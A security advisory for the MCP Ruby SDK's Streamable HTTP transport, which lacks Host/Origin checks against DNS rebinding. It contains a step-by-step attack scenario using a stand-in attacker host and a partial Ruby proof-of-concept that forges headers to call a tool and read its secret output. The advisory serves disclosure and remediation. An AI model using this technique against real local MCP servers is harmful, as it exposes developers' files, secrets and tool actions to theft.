MCP Ruby SDK: Streamable HTTP transport lacks DNS-rebinding (Host/Origin) protection
Summary
MCP::Server::Transports::StreamableHTTPTransport (the Rack-mountable Streamable HTTP transport in the mcp gem) processes every incoming JSON-RPC request without ever inspecting the HTTP Host or Origin request headers. There is no AllowedHosts/AllowedOrigins allowlist and no DNS-rebinding guard anywhere in the transport. A local MCP server that binds a loopback or LAN HTTP port is therefore reachable by any web origin a victim's browser visits, via a DNS-rebinding attack: a malicious page rebinds its own hostname to 127.0.0.1, then drives the local MCP server cross-origin to enumerate and invoke its tools and exfiltrate their output. This is the standard browser-driven local-service attack that the MCP Streamable HTTP guidance exists to prevent.
Impact
- An attacker who can get a victim to open a web page can reach any MCP server the victim runs locally over the Streamable HTTP transport (e.g. a developer-tools or filesystem MCP server on
localhost). - Because the transport issues a session and dispatches
tools/list/tools/callfrom a foreignHost/Originwith no rejection, the attacker can drive arbitrary server-exposed tools and read their results, exfiltrating local data (files, secrets, command output) to the attacker's origin. - The blast radius is whatever the locally-running MCP server exposes. For MCP servers wired to filesystem, shell, or credential tools, this is sensitive-data disclosure and, depending on the tool set, local action execution.
Vulnerable code
File: lib/mcp/server/transports/streamable_http_transport.rb (gem mcp 0.18.0).
The Rack entrypoint and POST handler validate Accept, Content-Type, Mcp-Session-Id, and Mcp-Protocol-Version, but never Host or Origin:
# call(env) -> handle_request(Rack::Request.new(env)) (line 56)
def handle_post(request)
required_types = @enable_json_response ? REQUIRED_POST_ACCEPT_TYPES_JSON : REQUIRED_POST_ACCEPT_TYPES_SSE
accept_error = validate_accept_header(request, required_types) # line 335 - checks Accept only
return accept_error if accept_error
content_type_error = validate_content_type(request) # line 338 - checks Content-Type only
return content_type_error if content_type_error
body_string = request.body.read
session_id = extract_session_id(request) # line 342 - reads HTTP_MCP_SESSION_ID
No statement anywhere in handle_post, handle_request, or any helper reads request.env["HTTP_HOST"] or request.env["HTTP_ORIGIN"].
The only request-env reads in the whole class are:
extract_session_id->request.env["HTTP_MCP_SESSION_ID"](line 489)validate_accept_header->request.env["HTTP_ACCEPT"](line 493)validate_content_type->request.env["CONTENT_TYPE"](line 512)validate_protocol_version_header->request.env["HTTP_MCP_PROTOCOL_VERSION"](line 546)
A repository-wide search of lib/ for HTTP_HOST, HTTP_ORIGIN, allowed_host, allowed_origin, rebind, or dns.rebind returns zero matches, confirming no allowlist or rebinding guard exists in the shipped library. The examples/ tree mounts Rack::Cors as application-level middleware, but that is example glue, not a transport-level control, and CORS does not stop a DNS-rebinding attack that arrives as a same-origin request after rebinding.
How the input reaches the sink (attack scenario)
- A developer runs an MCP server over
StreamableHTTPTransport, mounted as a Rack app on a local HTTP port (loopback or LAN). - The victim opens
http://evil.attacker.comin a browser. The page resolves to the attacker's server, which then re-answers DNS forevil.attacker.comwith127.0.0.1(DNS rebinding). The browser now treats requests toevil.attacker.comas going to the local MCP server, withHost: evil.attacker.com/Origin: http://evil.attacker.com. - The page POSTs an
initializerequest. The transport accepts it (it never looks atHost/Origin), creates a session, and returnsMcp-Session-Id. - The page then POSTs
tools/call, and the transport executes the server's tool and returns its output to the foreign origin. Local data is exfiltrated.
Proof of concept (end-to-end reproduction)
Run against the real released gem mcp 0.18.0 (no stubs). The script builds an MCP::Server with a tool that returns sensitive local data, instantiates the real StreamableHTTPTransport, and drives it with Rack::Request env hashes carrying a forged Host/Origin. It then re-runs as a legitimate localhost client (negative control).
Install:
gem install mcp -v 0.18.0 # pulls addressable, json-schema, public_suffix
gem install rack # required by StreamableHTTPTransport
PoC (poc_f1_dnsrebind.rb):
# frozen_string_literal: true
require "mcp"
require "rack"
require "json"
require "stringio"
puts "mcp gem version under test: #{MCP::VERSION}"
puts "transport source: #{MCP::Server::Transports::StreamableHTTPTransport.instance_method(:handle_post).source_location.inspect}"
puts
# A tool whose output is sensitive local data an attacker wants to exfiltrate.
secret_tool = MCP::Tool.define(name: "read_local_secret", description: "returns a local secret") do |*|
MCP::Tool::Response.new([{ type: "text", text: "TOP-SECRET-LOCAL-DATA-9f3a" }])
end
server = MCP::Server.new(name: "poc_server", version: "1.0.0", tools: [secret_tool])
transport = MCP::Server::Transports::StreamableHTTPTransport.new(server)
PROTO = MCP::Configuration::SUPPORTED_STABLE_PROTOCOL_VERSIONS.last
def rack_post(transport, body_hash, host:, origin:, session_id: nil, proto: nil)
body = JSON.generate(body_hash)
env = {
"REQUEST_METHOD" => "POST", "PATH_INFO" => "/",
"HTTP_HOST" => host, # attacker-controlled Host (DNS-rebind primary vector)
"HTTP_ORIGIN" => origin, # attacker-controlled Origin (cross-origin browser vector)
"HTTP_ACCEPT" => "application/json, text/event-stream",
"CONTENT_TYPE" => "application/json",
"rack.input" => StringIO.new(body), "CONTENT_LENGTH" => body.bytesize.to_s,
}
env["HTTP_MCP_SESSION_ID"] = session_id if session_id
env["HTTP_MCP_PROTOCOL_VERSION"] = proto if proto
status, headers, resp = transport.call(env)
collected = +""
if resp.respond_to?(:each)
resp.each { |c| collected